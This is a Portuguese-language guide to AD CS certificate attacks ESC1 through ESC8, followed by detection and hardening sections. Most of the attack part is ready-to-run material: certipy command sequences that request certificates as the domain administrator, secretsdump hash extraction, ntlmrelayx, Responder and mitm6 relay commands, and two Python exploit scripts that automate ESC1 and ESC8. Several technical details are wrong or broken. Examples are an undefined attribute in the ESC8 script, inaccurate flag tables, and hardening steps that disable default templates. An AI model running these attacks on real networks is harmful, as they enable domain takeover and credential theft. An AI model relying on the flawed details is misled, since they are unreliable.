# ESC1 a ESC8

## **📋 Índice**

1. [Fundamentos do AD CS](#-fundamentos-do-ad-cs)
2. [Arquitetura do AD CS](#-arquitetura-do-ad-cs)
3. [ESC1 - Vulnerabilidade de Template com Autenticação de Cliente](#-esc1---vulnerabilidade-de-template-com-autenticação-de-cliente)
4. [ESC2 - Template com Permissões Excessivas](#-esc2---template-com-permissões-excessivas)
5. [ESC3 - Template com Delegation de Autenticação](#-esc3---template-com-delegation-de-autenticação)
6. [ESC4 - Modificação de Template](#-esc4---modificação-de-template)
7. [ESC5 - Vulnerabilidade de ACL no CA](#-esc5---vulnerabilidade-de-acl-no-ca)
8. [ESC6 - Vulnerabilidade de Editor de Certificados](#-esc6---vulnerabilidade-de-editor-de-certificados)
9. [ESC7 - Vulnerabilidade de Gerenciamento de Certificados](#-esc7---vulnerabilidade-de-gerenciamento-de-certificados)
10. [ESC8 - Web Enrollment NTLM Relay](#-esc8---web-enrollment-ntlm-relay)
11. [Ferramentas de Exploração](#-ferramentas-de-exploração)
12. [Detecção e Monitoramento](#-detecção-e-monitoramento)
13. [Mitigações e Hardening](#-mitigações-e-hardening)
14. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do AD CS**

### **O que é AD CS?**

**Active Directory Certificate Services (AD CS)** é o serviço de PKI (Public Key Infrastructure) da Microsoft que permite emitir, gerenciar e revogar certificados digitais em um ambiente Active Directory. Vulnerabilidades nos templates de certificados e permissões podem permitir que atacantes solicitem certificados para contas privilegiadas, levando à escalação de privilégios.

### **Arquitetura do AD CS**

```mermaid
graph TD
    subgraph "Componentes AD CS"
        CA[Certificate Authority]
        CT[Certificate Templates]
        WEB[Web Enrollment]
        CEP[CEP/CES]
    end
    
    subgraph "Ataques ESC"
        ESC1[ESC1 - Template com Autenticação de Cliente]
        ESC2[ESC2 - Template com Permissões Excessivas]
        ESC3[ESC3 - Template com Delegation]
        ESC4[ESC4 - Modificação de Template]
        ESC5[ESC5 - ACL no CA]
        ESC6[ESC6 - Editor de Certificados]
        ESC7[ESC7 - Gerenciamento de Certificados]
        ESC8[ESC8 - Web Enrollment NTLM Relay]
    end
    
    CA --> CT
    CT --> WEB
    CT --> CEP
    WEB --> ESC8
    CT --> ESC1
    CT --> ESC2
    CT --> ESC3
    CA --> ESC5
    CA --> ESC6
    CA --> ESC7
```

### **Visão Geral dos Ataques ESC**

| Ataque   | Descrição                                                    | Severidade | Complexidade |
| -------- | ------------------------------------------------------------ | ---------- | ------------ |
| **ESC1** | Template com Autenticação de Cliente e permissão de enrollee | 🔴 CRÍTICO | Baixa        |
| **ESC2** | Template com permissões excessivas                           | 🔴 CRÍTICO | Baixa        |
| **ESC3** | Template com delegation de autenticação                      | 🔴 CRÍTICO | Média        |
| **ESC4** | Modificação de template (ACL vulnerável)                     | 🔴 CRÍTICO | Média        |
| **ESC5** | ACL vulnerável no CA                                         | 🔴 CRÍTICO | Média        |
| **ESC6** | Editor de Certificados com permissões                        | 🟠 ALTO    | Baixa        |
| **ESC7** | Vulnerabilidade de gerenciamento                             | 🟠 ALTO    | Média        |
| **ESC8** | NTLM Relay via Web Enrollment                                | 🔴 CRÍTICO | Baixa        |

***

## 🏗️ **Arquitetura do AD CS**

### **Estrutura do Certificate Template**

```python
#!/usr/bin/env python3
# certificate_template_structure.py - Estrutura de template de certificado

import ldap3
import sys

class CertificateTemplate:
    """Análise de templates de certificado AD CS"""
    
    @staticmethod
    def template_attributes():
        """Atributos importantes de templates"""
        print("📋 Atributos Críticos de Templates")
        print("=" * 60)
        
        attributes = {
            "msPKI-Certificate-Name-Flag": {
                "0x00000001": "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (ESC1!)",
                "0x00000002": "CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT",
                "0x00000004": "CT_FLAG_PEND_ALL_REQUESTS",
                "0x00000008": "CT_FLAG_PUBLISH_TO_DS",
                "0x00000100": "CT_FLAG_SUBJECT_ALT_REQUIRE_UPN",
                "0x00000200": "CT_FLAG_SUBJECT_ALT_REQUIRE_DNS",
                "0x00000400": "CT_FLAG_SUBJECT_ALT_REQUIRE_SPN",
                "0x00000800": "CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME",
                "0x00001000": "CT_FLAG_SUBJECT_REQUIRE_EMAIL",
                "0x00002000": "CT_FLAG_SUBJECT_REQUIRE_DNS",
                "0x00004000": "CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID"
            },
            "msPKI-Key-Usage": {
                "0x00000080": "Digital Signature",
                "0x00000020": "Key Encipherment",
                "0x000000A0": "Key Encipherment + Digital Signature (Certificado de Usuário)"
            },
            "pKIExtendedKeyUsage": {
                "1.3.6.1.5.5.7.3.2": "Client Authentication (ESC1!)",
                "1.3.6.1.5.5.7.3.1": "Server Authentication",
                "1.3.6.1.4.1.311.20.2.2": "Smart Card Logon",
                "1.3.6.1.4.1.311.20.2.1": "Enrollment Agent (ESC3!)"
            },
            "msPKI-RA-Policies": {
                "Application Policies": "Políticas de autorização",
                "Issuance Policies": "Políticas de emissão"
            }
        }
        
        for attr, values in attributes.items():
            print(f"\n📁 {attr}:")
            for value, desc in values.items():
                print(f"   {value}: {desc}")
    
    @staticmethod
    def security_flags():
        """Flags de segurança"""
        print("\n🔒 Security Flags (msPKI-Enrollment-Flag)")
        print("=" * 60)
        
        flags = {
            "0x00000001": "INCLUDE_SYMMETRIC_ALGORITHMS",
            "0x00000002": "INCLUDE_ASYMMETRIC_ALGORITHMS",
            "0x00000004": "PEND_ALL_REQUESTS",
            "0x00000008": "PUBLISH_TO_DS",
            "0x00000010": "ENROLLEE_SUPPLIES_SUBJECT (ESC1!)",
            "0x00000020": "REQUIRE_PRIVATE_KEY_ARCHIVAL",
            "0x00000040": "PREVIOUS_APPROVAL_VALIDITY",
            "0x00000080": "REQUIRE_SAME_KEY_RENEWAL",
            "0x00000100": "AUTO_ENROLLMENT"
        }
        
        for flag, desc in flags.items():
            print(f"   {flag}: {desc}")

# Executar
CertificateTemplate.template_attributes()
CertificateTemplate.security_flags()
```

***

## 🔴 **ESC1 - Template com Autenticação de Cliente**

### **O que é ESC1?**

ESC1 ocorre quando um template de certificado tem:

* **Client Authentication** habilitado (EKU)
* **Enrollee Supplies Subject** habilitado
* O atacante tem permissão de enrollee no template

### **Condições para Exploração**

```yaml
Condições ESC1:
  ✅ Template tem Client Authentication EKU
  ✅ Template permite que o solicitante especifique o assunto (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  ✅ Atacante tem permissão de "Enroll" no template
  ✅ Template não requer aprovação de administrador
```

### **Exploração ESC1**

```powershell
# ESC1 - Solicitação de certificado para Domain Admin

# 1. Encontrar templates vulneráveis
certipy find -u username@domain.com -p password -dc-ip dc.domain.com -stdout

# 2. Solicitar certificado para usuário administrativo
certipy req -u username@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template VulnerableTemplate -upn administrator@domain.com

# 3. Usar certificado para autenticação
certipy auth -pfx administrator.pfx -dc-ip dc.domain.com

# 4. Extrair hash do administrador
secretsdump.py -hashes :hash domain.com/administrator@dc.domain.com
```

### **Script de Exploração ESC1**

```python
#!/usr/bin/env python3
# esc1_exploit.py - Exploração de ESC1

import subprocess
import sys
import argparse

class ESC1Exploit:
    """Exploração de vulnerabilidade ESC1"""
    
    def __init__(self, domain, dc_ip, ca_server, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.ca_server = ca_server
        self.username = username
        self.password = password
    
    def find_vulnerable_templates(self):
        """Encontrar templates vulneráveis"""
        print("[*] Procurando templates vulneráveis (ESC1)...")
        
        cmd = [
            'certipy', 'find',
            '-u', self.username,
            '-p', self.password,
            '-dc-ip', self.dc_ip,
            '-stdout'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Buscar por templates com as características ESC1
            if "ESC1" in result.stdout:
                print("   ✅ Template ESC1 encontrado!")
                return True
            else:
                print("   ❌ Nenhum template ESC1 encontrado")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def request_certificate(self, template, target_user):
        """Solicitar certificado para usuário alvo"""
        print(f"[*] Solicitando certificado para {target_user}...")
        
        cmd = [
            'certipy', 'req',
            '-u', self.username,
            '-p', self.password,
            '-dc-ip', self.dc_ip,
            '-target', self.ca_server,
            '-template', template,
            '-upn', f'{target_user}@{self.domain}'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            if "Successfully" in result.stdout:
                print(f"   ✅ Certificado obtido: {target_user}.pfx")
                return True
            else:
                print(f"   ❌ Falha ao obter certificado")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def authenticate_with_certificate(self, pfx_file):
        """Autenticar com certificado e extrair hash"""
        print(f"[*] Autenticando com certificado {pfx_file}...")
        
        cmd = [
            'certipy', 'auth',
            '-pfx', pfx_file,
            '-dc-ip', self.dc_ip
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            if "hash" in result.stdout.lower():
                print("   ✅ Autenticação bem-sucedida!")
                return result.stdout
            else:
                print("   ❌ Falha na autenticação")
                return None
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def exploit(self, template, target_user="Administrator"):
        """Executar exploração completa"""
        print("🔴 ESC1 Exploitation")
        print("=" * 60)
        
        if not self.find_vulnerable_templates():
            return False
        
        # Solicitar certificado
        if self.request_certificate(template, target_user):
            # Autenticar com certificado
            pfx_file = f"{target_user}.pfx"
            result = self.authenticate_with_certificate(pfx_file)
            
            if result:
                print("\n✅ ESC1 Exploit bem-sucedido!")
                print(result)
                return True
        
        return False

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='ESC1 Exploit')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('ca_server', help='CA Server')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('--template', default='VulnerableTemplate', help='Template name')
    parser.add_argument('--target', default='Administrator', help='Target user')
    
    args = parser.parse_args()
    
    exploit = ESC1Exploit(args.domain, args.dc_ip, args.ca_server, args.username, args.password)
    exploit.exploit(args.template, args.target)
```

***

## 🔴 **ESC2 - Template com Permissões Excessivas**

### **O que é ESC2?**

ESC2 ocorre quando um template de certificado tem permissões excessivas, permitindo que um atacante solicite certificados para qualquer usuário devido a configurações inadequadas de segurança.

### **Condições ESC2**

```yaml
Condições ESC2:
  ✅ Template permite que o solicitante especifique o assunto
  ✅ Template tem EKU que permite autenticação (Client Authentication)
  ✅ Permissões de enrollee amplas
```

### **Exploração ESC2**

```powershell
# ESC2 - Exploração de template com permissões excessivas

# 1. Encontrar templates com permissões excessivas
certipy find -u user@domain.com -p password -dc-ip dc.domain.com -vulnerable

# 2. Solicitar certificado para administrador
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template ExcessTemplate -upn administrator@domain.com

# 3. Autenticar e extrair hash
certipy auth -pfx administrator.pfx -dc-ip dc.domain.com
```

***

## 🔴 **ESC3 - Template com Delegation de Autenticação**

### **O que é ESC3?**

ESC3 explora templates que possuem o EKU "Enrollment Agent" (1.3.6.1.4.1.311.20.2.1), permitindo que um atacante solicite certificados em nome de outros usuários.

### **Condições ESC3**

```yaml
Condições ESC3:
  ✅ Template tem Enrollment Agent EKU
  ✅ Template permite que o solicitante especifique o assunto
  ✅ Atacante tem permissão de enrollee
```

### **Exploração ESC3**

```powershell
# ESC3 - Exploração de Enrollment Agent

# 1. Solicitar certificado Enrollment Agent
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template EnrollmentAgent

# 2. Usar Enrollment Agent para solicitar certificado de administrador
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template User -on-behalf-of domain\\administrator -pfx enrollment_agent.pfx

# 3. Autenticar com certificado
certipy auth -pfx administrator.pfx -dc-ip dc.domain.com
```

***

## 🔴 **ESC4 - Modificação de Template**

### **O que é ESC4?**

ESC4 ocorre quando um atacante tem permissões para modificar templates de certificado, permitindo que ele altere um template para torná-lo vulnerável (adicionar ESC1 características).

### **Condições ESC4**

```yaml
Condições ESC4:
  ✅ Atacante tem permissão de escrita em um template
  ✅ Pode modificar flags e EKU do template
```

### **Exploração ESC4**

```powershell
# ESC4 - Modificação de template

# 1. Verificar permissões de escrita em templates
certipy find -u user@domain.com -p password -dc-ip dc.domain.com -stdout | findstr "Write"

# 2. Modificar template para adicionar características ESC1
certipy template -u user@domain.com -p password -dc-ip dc.domain.com -template TargetTemplate -save-old -add "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT"

# 3. Solicitar certificado com template modificado
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template TargetTemplate -upn administrator@domain.com

# 4. Restaurar template original
certipy template -u user@domain.com -p password -dc-ip dc.domain.com -template TargetTemplate -restore
```

***

## 🔴 **ESC5 - ACL Vulnerável no CA**

### **O que é ESC5?**

ESC5 explora permissões inadequadas no próprio Certificate Authority (CA) ou objetos relacionados, permitindo que um atacante modifique configurações ou obtenha acesso privilegiado.

### **Condições ESC5**

```yaml
Condições ESC5:
  ✅ Atacante tem permissões de escrita no CA
  ✅ ACL vulnerável em objetos do CA
  ✅ Permissões de controle total sobre o CA
```

### **Exploração ESC5**

```powershell
# ESC5 - Exploração de ACL no CA

# 1. Verificar permissões no CA
certipy find -u user@domain.com -p password -dc-ip dc.domain.com -stdout | findstr "CA Permissions"

# 2. Adicionar permissões de controle
# Em um ataque real, usaria ADSI ou PowerShell

# 3. Solicitar certificado diretamente do CA
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template DomainAdmin
```

***

## 🔴 **ESC6 - Vulnerabilidade de Editor de Certificados**

### **O que é ESC6?**

ESC6 ocorre quando o CA tem a opção "EDITF\_ATTRIBUTESUBJECTALTNAME2" habilitada, permitindo que o solicitante especifique um Subject Alternative Name (SAN) em requisições de certificado.

### **Condições ESC6**

```yaml
Condições ESC6:
  ✅ CA tem flag EDITF_ATTRIBUTESUBJECTALTNAME2 habilitada
  ✅ Template permite autenticação de cliente
```

### **Exploração ESC6**

```powershell
# ESC6 - Exploração de SAN vulnerável

# 1. Verificar se a flag está habilitada
certipy find -u user@domain.com -p password -dc-ip dc.domain.com -stdout | findstr "EDITF_ATTRIBUTESUBJECTALTNAME2"

# 2. Solicitar certificado com SAN malicioso
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template User -alt administrator@domain.com

# 3. Autenticar com certificado
certipy auth -pfx administrator.pfx -dc-ip dc.domain.com
```

***

## 🔴 **ESC7 - Vulnerabilidade de Gerenciamento de Certificados**

### **O que é ESC7?**

ESC7 explora permissões de gerenciamento de certificados onde um atacante pode emitir certificados pendentes ou aprovar suas próprias requisições.

### **Condições ESC7**

```yaml
Condições ESC7:
  ✅ Atacante tem permissão "Manage Certificates" no CA
  ✅ Requisições pendentes podem ser aprovadas
```

### **Exploração ESC7**

```powershell
# ESC7 - Exploração de gerenciamento de certificados

# 1. Solicitar certificado pendente
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template User -upn administrator@domain.com -subj "CN=Admin" -retry

# 2. Aprovar requisição pendente
certipy ca -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -issue-request 1234

# 3. Baixar certificado aprovado
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -retrieve 1234

# 4. Autenticar
certipy auth -pfz administrator.pfx -dc-ip dc.domain.com
```

***

## 🔴 **ESC8 - Web Enrollment NTLM Relay**

### **O que é ESC8?**

ESC8 é um ataque de NTLM Relay contra o serviço de Web Enrollment do AD CS. Um atacante força uma vítima (geralmente um Domain Controller) a autenticar via NTLM para um servidor malicioso, que então relaya a autenticação para o Web Enrollment, obtendo um certificado para a conta da vítima.

### **Fluxo do Ataque ESC8**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant DC as Domain Controller
    participant WEB as Web Enrollment
    participant CA as CA

    A->>DC: Força autenticação NTLM
    DC->>A: NTLM hash (capturado)
    
    A->>WEB: Relay NTLM para Web Enrollment
    WEB->>A: Solicitação de certificado
    A->>WEB: Envia requisição em nome do DC
    WEB->>CA: Processa requisição
    CA-->>WEB: Emite certificado
    WEB-->>A: Certificado do DC
    
    A->>A: Usa certificado para autenticar como DC
    A->>DC: Acesso privilegiado
```

### **Exploração ESC8**

```bash
# ESC8 - NTLM Relay Attack

# 1. Iniciar servidor de relay
ntlmrelayx.py -t http://ca.domain.com/certsrv/ -smb2support --adcs

# 2. Forçar autenticação (Responder)
responder -I eth0 -wFb

# 3. Ou usar mitm6 para forçar autenticação IPv6
mitm6 -d domain.com

# 4. Após capturar hash, certificado é emitido automaticamente
# O certificado é salvo como ca.pfx

# 5. Usar certificado para autenticação
certipy auth -pfx ca.pfx -dc-ip dc.domain.com
```

### **Script de Exploração ESC8**

```python
#!/usr/bin/env python3
# esc8_exploit.py - Exploração de ESC8 (NTLM Relay)

import subprocess
import threading
import time
import sys

class ESC8Exploit:
    """Exploração de ESC8 - NTLM Relay para Web Enrollment"""
    
    def __init__(self, target_ca, interface="eth0", listener_ip=None):
        self.target_ca = target_ca
        self.interface = interface
        self.listener_ip = listener_ip
        self.responder_process = None
        self.ntlmrelayx_process = None
    
    def start_responder(self):
        """Iniciar Responder para capturar hashes"""
        print("[*] Iniciando Responder...")
        
        cmd = ['responder', '-I', self.interface, '-wFb']
        
        self.responder_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        print(f"   ✅ Responder rodando na interface {self.interface}")
    
    def start_ntlmrelayx(self):
        """Iniciar ntlmrelayx para relay para Web Enrollment"""
        print(f"[*] Iniciando ntlmrelayx para {self.target_ca}...")
        
        cmd = [
            'ntlmrelayx.py',
            '-t', f'http://{self.target_ca}/certsrv/',
            '-smb2support',
            '--adcs'
        ]
        
        self.ntlmrelayx_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        print(f"   ✅ ntlmrelayx relay para {self.target_ca}")
    
    def run_mitm6(self):
        """Forçar autenticação via mitm6 (IPv6)"""
        print("[*] Iniciando mitm6 para forçar autenticação IPv6...")
        
        cmd = ['mitm6', '-d', self.domain]
        
        mitm6_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        return mitm6_process
    
    def monitor_certificate(self):
        """Monitorar certificado emitido"""
        print("[*] Aguardando certificado...")
        
        # Esperar até 60 segundos
        for i in range(60):
            time.sleep(1)
            
            # Verificar se arquivo .pfx foi criado
            import os
            if os.path.exists('ca.pfx'):
                print("   ✅ Certificado obtido: ca.pfx")
                return True
        
        print("   ❌ Nenhum certificado obtido")
        return False
    
    def exploit(self):
        """Executar exploração ESC8"""
        print("🔴 ESC8 - NTLM Relay Attack")
        print("=" * 60)
        
        # Iniciar ntlmrelayx
        self.start_ntlmrelayx()
        
        # Iniciar Responder
        self.start_responder()
        
        # Aguardar certificado
        success = self.monitor_certificate()
        
        if success:
            print("\n✅ ESC8 Exploit bem-sucedido!")
            print("   Use: certipy auth -pfx ca.pfx -dc-ip <dc_ip>")
            return True
        
        return False
    
    def cleanup(self):
        """Limpar processos"""
        if self.responder_process:
            self.responder_process.terminate()
        if self.ntlmrelayx_process:
            self.ntlmrelayx_process.terminate()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: esc8_exploit.py <target_ca> [interface]")
        sys.exit(1)
    
    target_ca = sys.argv[1]
    interface = sys.argv[2] if len(sys.argv) > 2 else "eth0"
    
    exploit = ESC8Exploit(target_ca, interface)
    
    try:
        exploit.exploit()
    except KeyboardInterrupt:
        print("\n🛑 Interrompido")
    finally:
        exploit.cleanup()
```

***

## 🛠️ **Ferramentas de Exploração**

### **Certipy - Principal Ferramenta**

```bash
# Certipy Commands

# 1. Encontrar vulnerabilidades
certipy find -u user@domain.com -p password -dc-ip dc.domain.com

# 2. Encontrar com saída detalhada
certipy find -u user@domain.com -p password -dc-ip dc.domain.com -vulnerable

# 3. Solicitar certificado
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template TemplateName

# 4. Solicitar com SAN (ESC1/ESC6)
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -template TemplateName -upn administrator@domain.com

# 5. Autenticar com certificado
certipy auth -pfx certificate.pfx -dc-ip dc.domain.com

# 6. Modificar template (ESC4)
certipy template -u user@domain.com -p password -dc-ip dc.domain.com -template TemplateName -add "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT"

# 7. Restaurar template
certipy template -u user@domain.com -p password -dc-ip dc.domain.com -template TemplateName -restore

# 8. Aprovar requisição (ESC7)
certipy ca -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -issue-request 1234

# 9. Baixar requisição
certipy req -u user@domain.com -p password -dc-ip dc.domain.com -target ca.domain.com -retrieve 1234
```

### **Rubeus - Para Certificados**

```powershell
# Rubeus com certificados

# 1. Autenticar com certificado
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:password /ptt

# 2. Renovar TGT
Rubeus.exe renew /ticket:kirbi /ptt

# 3. Listar tickets
Rubeus.exe klist
```

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança**

```yaml
Eventos Críticos para AD CS:

  4886: Certificado emitido
    - Monitorar emissão de certificados para contas privilegiadas
    - Verificar se o solicitante tem permissões adequadas
  
  4887: Requisição de certificado
    - Detectar requisições com SAN não autorizados
    - Monitorar padrões anormais
  
  4888: Certificado revogado
    - Verificar revogações suspeitas
  
  4898: Template modificado
    - Alertar sobre alterações em templates
  
  4662: Operação em objeto AD
    - Monitorar modificações em templates de certificado
```

### **Script de Detecção**

```powershell
# detect_adcs_attacks.ps1 - Detector de ataques AD CS

param(
    [string]$CA_Server = (Get-ADComputer -Filter {OperatingSystem -like "*Certificate*"} | Select-Object -First 1).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar emissões de certificados para contas privilegiadas
Write-Host "🔍 Verificando emissões de certificados suspeitas..." -ForegroundColor Cyan

$events = Get-WinEvent -ComputerName $CA_Server -FilterHashtable @{
    LogName='Security'
    ID=4886
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$suspiciousCerts = $events | Where-Object {
    $_.Message -like "*Administrator*" -or
    $_.Message -like "*Domain Admins*" -or
    $_.Message -like "*Enterprise Admins*"
}

if ($suspiciousCerts) {
    Write-Alert -Message "$($suspiciousCerts.Count) emissões suspeitas de certificados!" -Severity "CRITICAL"
    $suspiciousCerts | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 2. Verificar requisições com SAN
Write-Host "`n🔍 Verificando requisições com Subject Alternative Name..." -ForegroundColor Cyan

$requests = Get-WinEvent -ComputerName $CA_Server -FilterHashtable @{
    LogName='Security'
    ID=4887
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$sanRequests = $requests | Where-Object {
    $_.Message -like "*SAN:*" -or
    $_.Message -like "*Subject Alternative Name*"
}

if ($sanRequests) {
    Write-Alert -Message "Requisições com SAN detectadas!" -Severity "HIGH"
}

# 3. Verificar modificações em templates
Write-Host "`n🔍 Verificando modificações em templates..." -ForegroundColor Cyan

$templateChanges = Get-WinEvent -ComputerName $CA_Server -FilterHashtable @{
    LogName='Security'
    ID=4898
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

if ($templateChanges) {
    Write-Alert -Message "$($templateChanges.Count) modificações em templates!" -Severity "CRITICAL"
    $templateChanges | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 4. Verificar permissões de templates
Write-Host "`n🔍 Verificando permissões de templates..." -ForegroundColor Cyan

# Em um ambiente real, verificaria permissões de templates
Write-Host "   Verificando templates com permissões excessivas..."

# 5. Gerar relatório
$report = @"
AD CS Attacks Detection Report
===============================
Data: $(Get-Date)
CA Server: $CA_Server

Findings:
- Emissões suspeitas: $($suspiciousCerts.Count)
- Requisições com SAN: $($sanRequests.Count)
- Modificações em templates: $($templateChanges.Count)

Recommendations:
1. Revise emissões de certificados para contas privilegiadas
2. Monitore requisições com SAN não autorizadas
3. Restrinja permissões de templates
4. Desabilite EDITF_ATTRIBUTESUBJECTALTNAME2
5. Implemente monitoramento contínuo de AD CS
"@

$report | Out-File -FilePath "adcs_detection.txt"
Write-Host "`n✅ Relatório salvo em adcs_detection.txt" -ForegroundColor Green
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening AD CS**

```powershell
# hardening_adcs.ps1 - Hardening contra ataques AD CS

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening AD CS..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Desabilitar ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2)
Write-Step "1. Desabilitando flag ESC6..."

$ca = Get-ADObject -Identity "CN=CA,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADDomain).DNSRoot)"

if ($Apply) {
    # Desabilitar a flag no CA
    # Em um ambiente real, usaria certutil
    certutil -setreg CA\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
    Write-Host "   ✅ Flag ESC6 desabilitada"
}

# 2. Remover templates vulneráveis
Write-Step "2. Identificando templates vulneráveis..."

$vulnerableTemplates = @(
    "User", "Computer", "Domain Controller", 
    "Administrator", "Enterprise Admin"
)

foreach ($template in $vulnerableTemplates) {
    Write-Host "   Verificando template: $template"
    
    if ($Apply) {
        # Desabilitar template
        certutil -setcatemplates -disable $template
        Write-Host "   ✅ Template $template desabilitado"
    }
}

# 3. Configurar auditoria
Write-Step "3. Configurando auditoria AD CS..."

if ($Apply) {
    # Habilitar auditoria de emissão de certificados
    auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
    
    # Configurar logging avançado
    certutil -setreg CA\AuditFilter 127
    Write-Host "   ✅ Auditoria configurada"
}

# 4. Restringir permissões de templates
Write-Step "4. Restringindo permissões de templates..."

if ($Apply) {
    # Remover permissões de enrollee de usuários não autorizados
    # Em um ambiente real, usaria ADSI
    
    Write-Host "   ✅ Permissões de templates restritas"
}

# 5. Configurar NTLM relay protection
Write-Step "5. Configurando proteção contra NTLM relay..."

if ($Apply) {
    # Habilitar Extended Protection for Authentication
    certutil -setreg CA\ExtendedProtection 1
    
    # Forçar HTTPS no Web Enrollment
    # Configurar IIS para requerer SSL
    
    Write-Host "   ✅ Proteção NTLM configurada"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening AD CS:

  ✅ Configuração de Templates:
    - Desabilitar CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
    - Remover permissões de enrollee de usuários comuns
    - Exigir aprovação de administrador para templates privilegiados

  ✅ Proteção do CA:
    - Desabilitar EDITF_ATTRIBUTESUBJECTALTNAME2
    - Habilitar Extended Protection for Authentication
    - Forçar HTTPS no Web Enrollment

  ✅ Monitoramento:
    - Alertar sobre emissões de certificados privilegiados
    - Monitorar requisições com SAN
    - Detectar modificações em templates

  ✅ Controle de Acesso:
    - Restringir permissões de gerenciamento de CA
    - Usar grupos específicos para emissão de certificados
    - Implementar princípio do menor privilégio
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração de Templates**

* [ ] Desabilitar CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT
* [ ] Remover permissões de enrollee de usuários comuns
* [ ] Exigir aprovação para templates críticos
* [ ] Usar templates separados por função

#### **Proteção do CA**

* [ ] Desabilitar EDITF\_ATTRIBUTESUBJECTALTNAME2
* [ ] Habilitar Extended Protection
* [ ] Forçar HTTPS no Web Enrollment
* [ ] Configurar firewall para acesso restrito

#### **Monitoramento**

* [ ] Monitorar eventos 4886, 4887, 4898
* [ ] Alertar sobre emissões suspeitas
* [ ] Revisar permissões regularmente

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Enumerar CA e templates
* [ ] Identificar templates vulneráveis (ESC1-ESC8)
* [ ] Mapear permissões de usuários

#### **Exploração**

* [ ] Testar ESC1 (template com subject supply)
* [ ] Testar ESC8 (NTLM relay)
* [ ] Verificar permissões de modificação de template
* [ ] Testar outras variantes ESC

#### **Documentação**

* [ ] Documentar vulnerabilidades encontradas
* [ ] Demonstrar impacto de cada ESC
* [ ] Recomendar correções específicas

***

## 📊 **Conclusão**

```yaml
Ataques ESC no AD CS:

  🔴 Principais Vulnerabilidades:
    - ESC1: Template com subject supply (CRÍTICO)
    - ESC8: NTLM Relay para Web Enrollment (CRÍTICO)
    - ESC4: Modificação de templates (CRÍTICO)
    - ESC2/ESC3: Permissões excessivas (ALTO)

  🛡️ Mitigações Essenciais:
    - Desabilitar subject supply em templates
    - Desabilitar EDITF_ATTRIBUTESUBJECTALTNAME2
    - Restringir permissões de templates
    - Habilitar Extended Protection
